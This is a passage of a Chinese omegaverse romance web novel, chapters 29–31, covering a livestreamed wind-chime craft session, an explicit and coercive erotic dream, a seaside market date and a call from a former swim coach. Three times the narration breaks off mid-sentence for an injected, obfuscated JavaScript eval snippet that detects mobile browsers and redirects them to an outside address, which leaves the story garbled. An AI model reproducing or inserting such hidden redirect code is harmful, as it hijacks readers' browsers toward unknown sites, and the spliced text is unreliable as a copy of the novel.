对方就像找到了救命稻草,死死拽着他的手腕不肯放,喉咙里发出模糊的呜咽声,鼻尖还在他颈侧乱蹭。 “我去拿药。”桃楠说着就要往卧室走,却被身后突然传来的闷响吓了一跳。 回头时正看见秦尤猛地翻身把江屿按在沙发上,大概是过敏让他意识混乱,动作带着股蛮劲,江屿闷哼一声,伸手去推他:“秦尤,清醒点!” 可秦尤像是没听见,脑袋埋在江屿颈窝,呼吸滚烫地喷在皮肤上,下一秒竟低头咬在了对方的肩窝处。 “嘶……你轻点!”江屿疼得倒吸口冷气,抬手想去掰他的下巴,两人在沙发上扭了几下,外套都蹭到了地上,发出布料摩擦的窸窣声和压抑的低吼声。 门外的几人听得面面相觑,甜橙橙举着手机的手都僵住了,小声嘀咕:“这……这是在打架还是……” 南阳摸着下巴啧了一声:“前男友这身份,果然不简单啊。” 时夏赶紧捂住他的嘴,朝门内喊:“需要帮忙吗?” 里面的打斗声突然停了,几秒后传来江屿带着喘息的声音:“没事,药在床头柜第一层抽屉,帮我递进来。” 桃楠赶紧冲进卧室找到药盒,敲门时听见里面传来布料拉扯的声音,江屿打开门时衣领歪着,肩窝处隐约能看见牙印,秦尤则像只被顺毛的猫,乖乖靠在他怀里,只是还在小声哼唧,脸上的红疹似乎淡了些。 “麻烦了。”江屿接过药盒,指尖有些发红,估计是刚才挣扎时被抓的,“你们先回去吧,这里我看着就行。” 门被轻轻关上,隔绝了里面的动静。众人站在走廊里,空气安静得能听见彼此的呼吸声。 甜橙橙率先打破沉默,压低声音兴奋道:“啧啧,信息量太大了。” 南阳摸着下巴点头:“难怪秦尤总往酒馆跑,原来是旧情复燃?” 桃楠没接话,转头看向梨砚,对方正望着紧闭的房门,眉头微蹙,见他看来,便轻轻拍了拍他的肩膀:“回去休息吧,我去看看外面的情况。” 29. 春梦 走廊里的脚步声渐渐散去,甜橙橙还在和南阳讨论着秦尤与江屿的“爱恨情仇”。 桃楠抱着装贝壳的布袋,站在自己房间门口回头望了一眼,梨砚的身影已经消失在楼梯拐角,大概是去院子里查看情况了。 他推开门,把布袋放在桌上,小心翼翼地倒出里面的“战利品”,桌上的贝壳每一个都沾着淡淡的海盐气息。 他找出之前做风铃剩下的细麻绳、小铃铛和透明鱼线,在桌上铺开。 桃楠拿起手机,对着桌上排列整齐的贝壳和材料拍了张照片,发给梨砚,附带一条消息:[正在准备神秘礼物,敬请期待。] 消息发送成功的提示刚弹出来,梨砚的回复就到了,只有一个带着笑意的海浪表情,后面跟着一句:[很期待。] 看着那个小浪花表情,桃楠忍不住弯了弯嘴角,把手机放在一边,开始认真穿贝壳。 指尖穿过细麻绳时,还能感觉到贝壳表面残留的阳光温度,像把傍晚的暖意都锁进了上面的纹路里。 中途手机震了震,是甜橙橙发来的消息,说海岛第一期Vlog剪好了,让他有空去看一下。 桃楠点开,视频开头就是清晨的海边日出,镜头扫过波光粼粼的海面,配着甜橙橙元气满满的旁白:“欢迎来到海岛日记,今天就由我来担任摄影师一责。” 镜头一转,画面里出现了她和桃楠两个人的脸。 视频里记录了大家上午安装监测仪的画面,还有一些小片段,最后,是在沙滩讲解监测仪的场景。 他登上账号,把视频发了上去,然后开了直播。 “晚上好啊,”桃楠对着镜头挥了挥手,“今天在海边捡了很多漂亮贝壳,现在刚好有空,打算直播做一个风铃。” 弹幕很快滚动起来,粉丝们纷纷留言: 【贝壳好漂亮!是今天去海边捡的吗?】 【宝宝手好巧,期待成品~】 【肯定是和梨教练一起捡的(我不管,不是也得是)】 桃楠笑着回答:“确实是和他一起捡的。”他拿起一个带小孔的贝壳,穿进鱼线里,“这个贝壳声音很清脆,挂在风铃下面应该很好听。” 指尖灵活地打结、固定,小铃铛串在贝壳之间,轻轻一碰就发出叮铃叮铃的响声,像海风穿过椰林的声音。 直播画面里,月光落在他认真的侧脸上,长长的睫毛随着动作轻轻颤动,身后的窗户透进远处海面的微光,整个画面安静又温柔。 “其实做风铃很简单,”桃楠一边穿贝壳一边和粉丝聊天,“把喜欢的贝壳串起来,挂在窗边,风一吹就能听见声音,就像把大海的声音带回家了。” 直播画面里的铃铛声清脆悦耳,桃楠正专注地给贝壳打结,手机突然在桌角轻轻震动了一下。 他瞥了眼屏幕,是梨砚发来的消息,消息内容很简洁。 【节目组刚通知,林薇薇那边需要留几个人跟进,明天暂时停工休息一天。】 桃楠刚回复了一个“好的”,第二条消息紧接着弹了出来:【明天海边有集市,早上开市,要不要一起去?】 他看着屏幕上的文字,心里像被小铃铛轻轻敲了一下,泛起细密的甜。 桃楠低头快速回复:【好啊,几点出发?】 梨砚的消息来得很快:【八点在楼下等你,去吃集市的早餐】 他忍不住弯了弯嘴角,把手机放回原位,重新看向镜头时,眼底的笑意还没散去。 弹幕里立刻有人问:[桃儿你刚才在笑什么?是不是有好事?] “嗯,”桃楠拿着贝壳晃了晃,声音轻快,“明天不去工作了,要去集市玩。” 粉丝们立刻兴奋起来: 【是和谁一起去呀?】 【海岛集市!听起来好有意思,记得拍vlog。】 【不会是和梨教练吧?我赌一包薯片!】 【肯定要有本地人带啊,一定是了。】 桃楠没直接回答,只是笑着眨了眨眼:“到时候给你们拍个短一点的Vlog。”他拿起穿好的一串贝壳,轻轻晃动,风铃发出叮铃叮铃的响声,“你们听,已经有点样子了。” 直播又进行了半个小时,风铃的主体渐渐成型,五个串着贝壳和铃铛的绳结在灯光下轻轻摆动,像挂着一串会发光的海浪。 桃楠对着镜头展示成品:“大概就是这样了,等明天再加上挂绳和装饰就完成了。” 和粉丝们道晚安后,他关掉直播,把半成品风铃挂在窗边。 夜风穿过窗户,吹动贝壳轻轻碰撞,发出清越的响声,真的像把海边的声音搬进了房间。 桃楠躺在床上,看着窗外的月光,手指在手机屏幕上反复划着和梨砚的聊天记录。 那个海浪表情和“很期待”三个字,被他翻来覆去地看,嘴角的笑意怎么也压不住。 桃楠躺在床上翻了个身,月光透过纱帘落在被子上,窗外风铃偶尔轻响,像海浪在耳边低吟。 他本想再看会儿手机,但眼皮却越来越沉,白天在海边跑了一天的疲惫终于涌上来,没一会儿就抱着枕头沉沉睡去。 梦里是傍晚的海边,夕阳把海面染成了金色,梨砚就站在浅滩里,海水漫过他的小腿,湿漉漉的衬衫贴在身上,勾勒出流畅的肩背线条。 桃楠想喊他,喉咙却像被海浪堵住,发不出一点声音。 他看见梨砚转过身,夕阳在他轮廓边缘镶上暖金色的光,后颈的腺体随着动作微微起伏,那是Alpha信息素最集中的地方。 桃楠忽然觉得浑身发烫,像被午后的阳光晒得晕乎乎的,鼻腔里全是梨砚身上清冽的海风气息,混着自己桃花香的甜味,缠得人喘不过气。 他想靠近,脚步却像陷在沙滩里,每走一步都格外沉重。 而梨砚就站在不远处看着他,眼神深邃得像夜晚的海面,嘴角似乎还带着笑意。 突然,梨砚朝他伸出手,掌心温热,轻轻握住了他的手腕。 那触感真实得可怕,温热的体温顺着皮肤传来,桃楠甚至能感觉到梨砚指尖的薄茧,和白天一模一样。 他浑身一僵,抬头时正好撞进梨砚的眼睛里,对方的气息越来越近,后颈的腺体开始发烫,像有温热的呼吸落在上面。 “桃楠……”梦里的梨砚在他耳边低语,声音带着特有的震颤,“别躲。” 温热的触感从手腕蔓延到后颈,轻轻按住了他的腺体,桃花香不受控制地涌出来,和对方的气息紧紧缠绕在一起。 梦里的浪潮比现实更汹涌,带着咸腥气的海风几乎要将人掀翻。 桃楠被按在礁石的凹陷处,后背硌得生疼,却动不了分毫,梨砚的手臂像铁箍般扣着他的腰,将他死死钉在冰凉的岩石上。 滚烫的胸膛贴着他汗湿的后背,每一次呼吸都带着Alpha信息素的压迫感,清冽的梨花气息里混着不容抗拒的侵略性,缠得他几乎窒息。 “躲什么?”梨砚的声音在耳边炸开,带着水汽的湿热呼吸喷在颈侧,指尖用力掐住他的下巴,强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326502|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迫他抬头。 海浪在脚下疯狂拍打着礁石,溅起的水花打湿了两人的衣襟,冰凉的海水顺着领口钻进去,却压不住皮肤下灼烧般的热度。 桃楠的视线撞进梨砚的眼眸,那里没有了平日的温和,只有翻涌的暗潮,像夜色里的深海,要将他彻底吞没。 他想挣扎,腰侧的力道却骤然加重,疼得他闷哼出声,后颈却被温热的手掌轻轻按住,隔着薄薄的阻隔贴,都能感觉到那带着侵略性的信息素在疯狂渗透。 “撕拉——”阻隔贴被轻易撕开,冰凉的海风刚吹过腺体,就被更灼热的呼吸覆盖。 梨砚低下头,含住了那处最敏感的皮肤,牙齿轻轻碾过,带着惩罚般的力道。 Alpha的信息素像决堤的洪水,瞬间冲垮了Omega的所有防线,清冽的信息素里混着滚烫的欲望,顺着腺体一路烧进四肢百骸。 “梨砚……”桃楠浑身发软,指尖不受控制地抓进对方的后背,衬衫被揉得皱成一团。 腺体处传来又麻又痒的快感,顺着脊椎蔓延到小腹,让他腿根都泛起酸软,只能死死攀着对方的肩膀才能站稳。 梨砚的手顺着往下滑,指尖擦过敏感的皮肤,激起一串战栗的火花,连带着呼吸都变得滚烫而急促。 海浪的声音、皮肤摩擦的声音在耳边交织,桃楠觉得自己像被扔进了滚烫的浪潮里。 他的意识在信息素的包裹中渐渐模糊,只剩下梨砚的气息、指尖的温度,和腺体处那既疼痛又酥麻的灼热…… “唔……”桃楠猛地睁开眼,心跳得像要撞出胸腔,额头上沁出一层薄汗。 睡衣领口早已被冷汗浸得潮湿,更让他无措的是小腹处泛起的热意。 那是Omega身体最诚实的反应,顺着脊椎蔓延开的酥麻感让他浑身发僵,连指尖都泛起微颤。 鼻腔里似乎还萦绕着那股清冽的梨花味,与自己不受控溢出的桃花甜香缠在一起,在狭小的被窝里发酵成滚烫的漩涡。 桃楠懊恼地把脸埋进枕头里,耳朵烫得能煎鸡蛋,连带着后颈的皮肤都在发烫。 怎么会这样……怎么连身体都开始不听话了。 他能清晰地感觉到身体深处那股陌生的躁动,像被点燃的火星,顺着血液一路烧得他呼吸发紧。 脑海里不受控制地回放起梦里的画面,梨砚紧扣腰侧的力道、碾过腺体的牙齿。 每一个细节都清晰得让他心慌。 他翻了个身,把自己裹进被子里,可那股燥热感却迟迟不退,连带着呼吸都变得急促又紊乱,睡衣下的皮肤泛着薄红的潮意。 窗外的天色渐渐泛起鱼肚白,远处传来第一声鸟鸣。 桃楠盯着天花板,手指无意识地蜷缩起来,指尖泛着微凉的汗湿。 心里乱糟糟的,既觉得羞耻得想找个地缝钻进去,又控制不住地贪恋梦里那片刻的灼热触碰。 他抬手用力拍了拍自己的脸颊,试图让发烫的皮肤冷静下来:“桃楠,你疯了吗……” 手机在床头柜上轻轻震动了一下,是梨砚发来的消息,问他起床了没有。 桃楠看着屏幕上的名字,指尖悬在上面半天,连打字的力气都像是被抽走了,指尖的颤抖让他连“刚醒”两个字都打了好几次才发出去。 消息发送成功的提示弹出时,他的脸颊又开始不受控制地发烫,连带着耳根都红透了。 完了……这样的状态,今天去集市该怎么面对梨砚啊。他绝望地想,猛地把自己蒙进被子里。 30. 集市 桃楠在被子里翻来覆去,直到窗外的椰树叶影被晨光染成金绿色,才不情不愿地爬起来。 换衣服时指尖划过腰侧,梦里那滚烫的触感仿佛还残留在皮肤上,咸湿的海风气息像附骨之疽,连带着后颈的腺体都在微微发烫。 他对着镜子扯了扯领口,试图遮住泛红的耳根,却怎么都压不住脸颊的热度。 拉开房间门时,梨砚正靠在露台的栏杆上等着,花衬衫被海风掀起一角,清冽的气息混着椰子的甜香飘过来,让桃楠的心跳漏了一拍。 远处的海面泛着粼粼波光,早起的渔船正慢悠悠地往岸边靠,咸湿的风里裹着集市的喧闹声。 “醒了?”梨砚转过身,手里把玩着一串刚摘的鸡蛋花,“去集市吃早饭吧,有家香蕉煎饼很不错。” 桃楠的视线不自觉地落在他卷起的袖口上,那里露出的小臂沾着几粒细沙,和梦里礁石上感受到的触感渐渐重合。 他慌忙移开目光,盯着脚下的木板栈道:“好。” 两人踩着晨光往集市走,他能闻到梨砚身上的气息随着海风时浓时淡。 远处的集市已经热闹了起来,彩色的遮阳棚下摆满了新鲜的热带水果,摊主们用带着口音的英语吆喝着,烤龙虾的焦香、芒果冰沙的甜气、椰子饭的软糯香气混在一起很诱人。 梨砚熟门熟路地带着他走到海边的小摊,塑料桌椅就摆在沙滩上,脚下能感受到细沙的温热。 “两份香蕉煎饼,加炼乳。”梨砚用流利的当地语和摊主说着,回头问桃楠,“要配冰咖啡还是椰子水?” 桃楠的目光还停留在他说话时微动的喉结上,听到问话才猛地回神:“椰子水就好。” 梨砚看着他泛红的侧脸,眼底闪过一丝笑意,转身去接摊主递来的冰镇椰子水放在他面前。 “尝尝?”梨砚的声音带着笑意,“加了青柠,很解腻。” 远处传来海浪拍岸的声音,阳光透过遮阳棚的缝隙落在桃楠的睫毛上,投下浅浅的阴影。 桃楠绝望地埋头猛吸了一大口椰子水,冰凉的液体滑过喉咙,却怎么都压不下心底那阵越来越清晰的悸动。 煎饼摊的甜香还没散尽,梨砚拎起桃楠放在一旁的运动相机递给他:“不是说要拍素材?” 桃楠接过相机,指尖触到冰凉的机身才定了定神。 刚开机,镜头里就闯进一串明黄色的鸡蛋花,梨砚不知何时把它别在了耳后,正低头看着梨砚调试参数,海风掀起他花衬衫的领口,露出锁骨处沾着的细沙。 “咔嚓”一声,快门无意识按下去,桃楠慌忙转开镜头,去拍附近的摊子。 集市的石板路被晨光晒得温热,两旁的摊位像是打翻了的调色盘,色彩缤纷。 卖水果的阿婆举着金灿灿的芒果递过来,梨砚用当地语笑着道谢,转手塞给桃楠一个:“尝尝。” 桃楠的镜头追着他的身影晃了晃,拍下他弯腰和摊主讨价还价的侧影。 走到手工饰品摊前,桃楠被一串贝壳手链吸引,蹲下身翻看时,相机忽然被人从身后举起。 梨砚的下巴轻轻碰了碰他的肩膀,温热的气息扫过耳畔:“低一点,把贝壳上的纹路拍进去。” 镜头里映出两只交叠的手,一只戴着银戒,一只正捏着贝壳手链,背景是熙攘的人流和远处的海平面。 桃楠躲开,却被他拉住手腕往画摊带,画师正用椰壳炭笔速写。 梨砚不知道和画师说了些什么,对方朝桃楠笑了一下,然后手上的炭笔开始在纸上沙沙游走,黑色的线条很快勾勒出模糊的轮廓。 桃楠举着运动相机凑近,镜头里的画板渐渐清晰,是他低头看手链时的侧影。 “好好看啊。”他忍不住轻声感叹,手指无意识摩挲着相机按键,镜头里的画和画外桃楠含笑的目光重叠在一起。 路过冰沙摊时,梨砚买了杯粉紫色的蝶豆花冰沙,递过来时故意晃了晃:“拍这个,颜色好看。” 冰沙杯上插着小纸伞,杯壁凝着水珠,桃楠刚对准焦距,就见梨砚低头啜了一口,唇角沾了点淡紫色的糖霜。 快门声和他的笑声同时响起,桃楠看着相机里那个嘴角带着糖霜,抬起狐狸眼看他的脸,愣了神。 好漂亮,像一只调皮的狐狸……… 两人顺着集市的人流慢慢逛,梨砚像揣着张隐形地图,总能精准找到藏在角落里的美味。 路过烤鱿鱼摊时,他抢过桃楠手里的相机,塞给他一串滋滋冒油的烤鱿鱼:“趁热吃。” 炭烤的焦香混着柠檬汁的清爽,桃楠咬下一口,鱿鱼须的韧劲在舌尖散开,他抬眼看见梨砚正举着他的相机对着自己,镜头里的自己嘴角沾着酱汁。 “我现在不好看,不准拍。”桃楠想上前去抢,但没抢过,索性就交给他拍了。 梨砚举着相机,笑道:“没有不好看。” 往前没走几步,桃楠又被现做的椰子冻拦住了脚步。 透明的玻璃碗里盛着奶白色的冻体,上面铺着鲜红的草莓碎,梨砚付了钱递过来:“这家加了椰肉碎,口感更好。” 桃楠挖了一勺送进嘴里,冰凉甜滑的滋味漫开。 他们一路尝遍了裹着花生碎的炸香蕉、淋着蜂蜜的烤菠萝,连带着试吃的芒果干都塞了满口袋。 眼看快走到集市出口,桃楠忽然停住脚步,目光被一旁的花摊牢牢吸住。 摊位上挂着一排蓝莹莹的花环,颜色饱满的蓝色小花像被揉碎的海雾,花瓣边缘带着淡淡的白,用细藤轻轻缠成圈,风一吹就簌簌摇晃,连空气里都飘着清浅的花香。 “这是岛上特有的蓝星花,”梨砚顺着他的目光看去,伸手碰了碰花环上的花瓣,“当地人说,戴上它会被海洋记住。” 桃楠的眼睛亮了亮,转过头看向梨砚,声音里带着点雀跃的期待:“梨教练,我想看你戴,可以吗?” 海风正好吹过,掀起梨砚花衬衫的衣角,也吹动了摊位上的蓝星花。 他看着桃楠亮晶晶的眼睛,眼底的笑意漫开,伸手从摊位上取下一个花环:“好啊。” 梨砚的指尖轻轻拂过花瓣上的细绒,转身对着摊位旁的小镜子比划。 那头柔软的蓝发被海风拂得微微晃动,发梢的蓝和花环的蓝像被晨光调和过,层次分明又融得恰到好处。 发间是深海般的幽蓝,花瓣是雾海般的浅蓝,风一吹,蓝发与蓝花一起簌簌轻摇,仿佛把整片海的温柔都拢在了他身上。 “怎么样?好看吗?”他转过身,指尖还捏着花环的藤蔓,蓝发垂在耳侧,正好蹭过花瓣。 桃楠举着相机,镜头里的梨砚眉眼清俊,蓝发与蓝花交叠的画面像是从画里走出来的,他忍不住小声感叹:“好看。” 特别好看。 梨砚忽然笑了,又从摊位上取了个花环晃了晃:“只让我被海洋记住?” 他走近两步,温热的指尖轻轻抬起桃楠的下巴,语气带着点哄人的温柔,“你也戴一个,我们一起被记住。” 桃楠的脸颊瞬间泛起热意,他想说好,喉咙却像被海风噎住,只能望着梨砚眼底晃动的笑意,轻轻点头。 梨砚抬手将新取的花环举到桃楠颈间,动作轻得像在摆弄易碎的贝壳。 温热的指尖偶尔擦过桃楠的皮肤,带起一阵轻微的战栗。 蓝星花的花瓣垂在桃楠锁骨处,冰凉的触感混着花香漫开,和梨砚发间的幽蓝遥遥相对。 “戴好了。”梨砚退开半步,上下打量着他,嘴角的笑意藏不住,“你戴着更好看。” 桃楠抬手碰了碰颈间的花环,花瓣软乎乎的,还沾着晨露的微凉。 他反转相机,看向镜头,画面里两个戴着蓝星花的人站在阳光下。 梨砚的蓝发与他颈间的蓝花在镜头里格外耀眼,背景里的海面波光粼粼,仿佛真的把这片海的记忆都锁进了这抹颜色里。 海风又吹过来,掀起梨砚的衣角和发梢,也吹动了桃楠颈间的蓝星花。 花瓣轻轻扫过他的皮肤,像在提醒他这不是梦,梦里没这么清晰的花香,也没有梨砚此刻眼底藏不住的温柔。 “走吧,”梨砚伸手轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326503|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻碰了碰他颈间的花环,指尖带着暖意,“把吃的带回去给他们。” 两人拎着鼓鼓囊囊的纸袋往别墅走,蓝星花的香气混着烤鱿鱼的焦香一路飘,交叠的脚印印在沙滩栈道上。 刚走到别墅楼下的餐厅,就正好碰见了下来吃饭的时夏和南阳。 梨砚把手里的纸袋放在了桌上,扬了扬下巴:“刚出炉的香蕉煎饼,还有你们念叨的芒果干和椰子冻。” 纸袋一打开,甜香瞬间就漫开了。南阳立刻凑过来翻找,手指捏起一块裹着花生碎的炸香蕉塞进嘴里,含混不清地说:“谢谢前辈投喂。” “你们这么早就出门了?”时夏抬头看见他们,眼睛先被桃楠颈间的蓝星花勾住了,“这花环好好看啊。” 桃楠拿了点吃的,拽着时夏就往楼上跑,“梨教练我们有事儿就先上去了!” 南阳:“?。?” 南阳:“喂喂喂,怎么大清早抢我老婆!” 时夏被桃楠拽着胳膊踉踉跄跄跑上楼,手里还攥着半块没吃完的芒果干,直到被推进桃楠房间才后知后觉地问:“跑这么快干嘛,早饭都还没吃呢。” 话音未落,就见桃楠“咚”地倒在床上,一头扎进柔软的被子里,闷声闷气地发出类似哀嚎的声音,床板都跟着颤了颤。 时夏慢悠悠地走到床边坐下,拿起桌上那杯没喝完的椰子水,咬着吸管吸了一大口,才瞥向被子里拱成一团的人:“说吧,又怎么了?刚才在楼下脸比林子里的猴屁股还红,现在又跟被晒化的冰淇淋似的。” 桃楠扭了扭屁股,声音闷闷的从被子里传出来:“时夏,我完了。” “嗯?”时夏挑了挑眉,用脚尖轻轻踢了踢床沿,“是煎饼不好吃,还是椰子冻不好吃?” “都不是。”桃楠猛地掀开被子坐起来,额前的碎发都被蹭得乱糟糟,脸颊红得能滴出血,眼神里却带着点崩溃的绝望,“我……我做梦梦到梨教练了。” 时夏吸椰子水的动作顿了顿,眨了眨眼:“梦到就梦到呗,你俩天天待一块儿,日有所思夜有所梦很正常。” “是春梦。”桃楠没等他说完就打断了,声音又急又快,带着点破罐子破摔的坦诚,说完还懊恼地抓了抓头发,“就是那种……特别真实的梦,连触感和味道都记得清清楚楚,醒了之后腰侧都还发烫,后颈腺体也跟着不对劲。” 时夏手里的椰子水杯晃了晃,差点没拿稳。 他盯着桃楠红透的耳根看了几秒,才慢吞吞地放下杯子,语气里带着点不可思议:“不是吧兄弟?你这梦……内容很丰富啊?” “丰富个鬼啊!”桃楠往床上一倒,用枕头捂住脸,“关键是醒了之后见到他,我满脑子都是梦里的画面,他靠近我说话我心跳快得要炸开了,他碰我一下我浑身都不对劲,连他身上的味道都跟梦里一模一样。” 他猛地拿开枕头,坐起来盯着时夏,眼神无比郑重,甚至带着点被害妄想的控诉:“时夏,你说……他是不是故意勾引我?是不是知道我是对他的信息素高度敏感了?” “?”时夏一脸茫然,“他怎么勾引你了?是把煎饼喂你嘴里了,还是抱着你看海了?而且你不是说了,你对他的信息素高度敏感,肯定是信息素搞得鬼。” 桃楠愣了愣,好像被这句话戳中了,眼神飘忽了一下,最后泄气地倒回床上,抓过被子盖到下巴,只露出一双写满纠结的眼睛:“可我现在看到他就心跳加速,他随便一个动作我都能想歪,再这样下去我迟早完蛋啊………” 他说:“这样也太影响我工作了。” 他感觉自己被腺体左右了。 桃楠:“我又没有喜欢梨教练,都是腺体的问题。 时夏看着他愁眉苦脸的样子,忍不住笑出声,伸手揉了揉他的头发:“行了行了,青春期躁动很正常。实在不行你就让他咬一口,终结对他的信息素敏感。” 他话锋一转,眼底闪过一丝促狭,“或者你直接问问他,要不要把梦里的内容在现实里实践一下?” “时夏你找死啊!”桃楠抓起枕头就朝他砸了过去。 31. 风铃 楼下餐厅里,南阳正埋头和一块椰子冻较劲,手机突然在桌上震动起来,屏幕上跳动着“王教练”三个字。 他嘴里还叼着勺子,含糊不清地嘟囔了句“说曹操曹操到”,手忙脚乱地接通了视频。 “嗨,王教练。”南阳把手机架在果汁杯上,镜头正好对着自己,“最近咋样啊?队里那帮小子没偷懒吧?” 屏幕里传来一个洪亮的男声,背景里隐约能听到泳池的水声:“偷懒?有我盯着谁敢偷懒,倒是你,跑海岛度假快把训练忘干净了吧?开学后的联赛预选赛的名单我可是给你留着位置呢。” “哪能啊!”南阳赶紧摆手,顺手拿起桌上的烤鱿鱼比划,“我这叫劳逸结合,每天晨跑游泳没落下,不信你看我这肱二头肌。” 他故意绷紧胳膊,结果动作太大,差点把手机带倒。 梨砚刚把边牧“煤球”从桌底捞出来,正用纸巾擦它爪子上沾的沙粒,煤球舒服地蹭着他的手腕,尾巴在地板上扫出轻快的声响。 王教练在屏幕那头叹了口气:“少贫嘴,你那体能我还不知道?” 南阳余光瞥见梨砚弯腰逗狗的侧影,突然想起什么,眼睛一亮,“王导你等会儿,给你看个熟人。” 他把手机镜头转过去,正好对准在桌边摸狗的梨砚,“你看这是谁?” 屏幕里的王教练原本还在翻训练计划表,看清镜头里的人时突然没了声音。 几秒钟后,一声震耳欲聋的大喊从手机里炸开:“梨砚?!你这臭小子居然在这儿!” 这一嗓子力道十足,不仅南阳手一抖差点把手机摔地上,连煤球都被吓得“嗷呜”一声钻进梨砚怀里。 梨砚抬头看向手机镜头,脸上的笑意顿了顿,随即无奈地摇了摇头。 “您还真是没变。” “王、王教练您小点声!”南阳赶紧把手机拿稳,递到梨砚面前,“前辈你们聊。” 梨砚接过手机,声音带着笑意:“王哥,好久不见。” 屏幕里的王教练头发都快竖起来了,指着镜头里的人骂道:“好久不见?你小子还有脸说!当年一声不吭就退队,电话不接信息不回,我还以为你被外星人绑走了,要不是今天南阳这小子,我是不是这辈子都见不着你了?” “不是故意不告而别。”梨砚伸手顺了顺煤球炸毛的后背,语气放软了些,“当时家里出了点事,走得急。” “家里有事不能说一声?”王教练的火气消了点,但语气还是带着埋怨,“你知不知道你退队那天,队里刚收到全国锦标赛的入场券?就差你那棒自由泳接力,我们练了半年的战术全白费了。” 梨砚沉默了几秒,指尖摩挲着手机边缘:“对不起,王哥。当时情况特殊,没顾上……” “算了算了,过去的事不说了。”王教练在屏幕那头摆摆手,语气缓和下来,“你现在怎么样?还游泳吗?上次在体育新闻里看到海岛游泳赛的视频,那冠军的自由泳姿势跟你当年一模一样,我就猜是不是你。” “偶尔游游,工作需要。”梨砚低头看了眼怀里安稳下来的煤球,眼底闪过一丝怀念,“现在在岛上当潜水教练,平时守着近海区域,帮民宿兼职带带客人潜水,当安全员。” “潜水教练?”王教练眼睛一瞪,“你那技术当潜水教练?暴殄天物,我说你啊,就该回到泳池里来。上个月省队还来问我你能不能复出当教练,你要是愿意……” “王哥,我现在挺好的。”梨砚打断他,语气坚定却温和,“海岛的水比泳池自由,守着这片海也踏实。” 屏幕那头安静了会儿,王教练叹了口气:“行吧,你这性子还是这么倔。有空回队里看看,那帮小子天天念叨你呢,说当年你带他们练的换气技巧现在还在用。” “会的。”梨砚笑了笑,“等忙完这阵。” 又聊了几句当年的队友近况,王教练才依依不舍地挂了电话,临走前还不忘叮嘱梨砚“不准再玩失踪”。 梨砚把手机还给了南阳,他看着梨砚若有所思的样子,小心翼翼地问:“前辈,王教练刚才说的全国锦标赛……” “很多年前的事了。”梨砚站起身,把煤球放在地上,顺手揉了揉它的脑袋,“那时候确实很喜欢泳池里的水,不过现在守着海岛也挺好。” 海风从餐厅的落地窗吹进来,掀起他花衬衫的衣角,也吹动了桌角那串蓝星花的花瓣。 梨砚望着窗外波光粼粼的海面,不知道想到了什么。 海风卷着集市的甜香从落地窗溜进来,梨砚望着海面出神的工夫,楼梯口传来一阵轻手轻脚的响动。 南阳刚咬了口芒果干,就看见桃楠猫着腰从楼上溜下来,手指在嘴边比了个“嘘”的手势,眼神亮晶晶地瞟向梨砚的背影。 南阳憋着笑往旁边挪了挪,和跟在桃楠身后下来的时夏一起看戏。 下一秒,梨砚突然感觉眼前一暗,一双温热的手掌轻轻捂住了他的眼睛。 带着点刻意压低的变声从头顶传来,气音里藏着憋不住的笑意:“猜猜我是谁?” 掌心下传来睫毛轻颤的触感,梨砚没挣扎,反而轻笑出声,声音透过手掌传来,带着温热的气息:“是藏了礼物,怕被发现的幼稚鬼?” “!”桃楠的手猛地一顿,懊恼地收回来,绕到他的面前“什么幼稚鬼。” 他把身后的东西往前一递,是一串用细麻绳串起的贝壳风铃。 淡金色的海螺、带着彩虹光泽的粉色贝壳,还有几片他特意挑的月牙形白贝,每片贝壳边缘都被细心磨过。 串风铃的绳子上还系着一小截蓝星花,晃一晃,贝壳就能碰撞发出清透的“叮咚”声。 “这个送你的。”桃楠拎着风铃的挂绳,往前递了递“算是回礼,当合作纪念礼物。” 梨砚接过风铃的手指顿了顿,阳光落在贝壳上,折射出好看的光影。 “自己做的?”梨砚轻轻晃了晃风铃,清脆的声响像海浪漫过礁石。 “肯定啊。”桃楠笑道:“你可别嫌弃啊,我第一次做,可能有点丑,绳子也绑得不太好。” 梨砚低头看着风铃,指尖摩挲过一片白贝边缘,那里还留着浅浅的磨痕。 梨砚弯了弯眼:“很好看,谢谢老板。” 在梨砚低头把玩着那串贝壳风铃的时候,餐厅门口突然传来一阵急促的“哒哒”声。 煤球不知什么时候从外面跑了回来,嘴里叼着块半人高的木板,兴冲冲地往梨砚脚边蹭。 那木板被海水泡得泛着浅棕色,边缘被打磨得圆润光滑,形状竟真像块迷你版的冲浪板。 它把木板往梨砚面前一放,尾巴在地上扫得飞快,喉咙里发出“呜呜”的撒娇声。 “这小家伙。”梨砚弯腰摸了摸煤球的脑袋,无奈又好笑,“是想去海边玩了。” 南阳凑过来看热闹:“它还知道叼‘冲浪板’?成精了吧。” 时夏给了无知的男朋友一下,说:“边牧智商比你高。” “它天天看客人冲浪,也就跟着学会了。”梨砚拿起那块木板掂了掂,“之前给它做了这个玩具,现在每天都要叼着去海边跑两圈才甘心。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 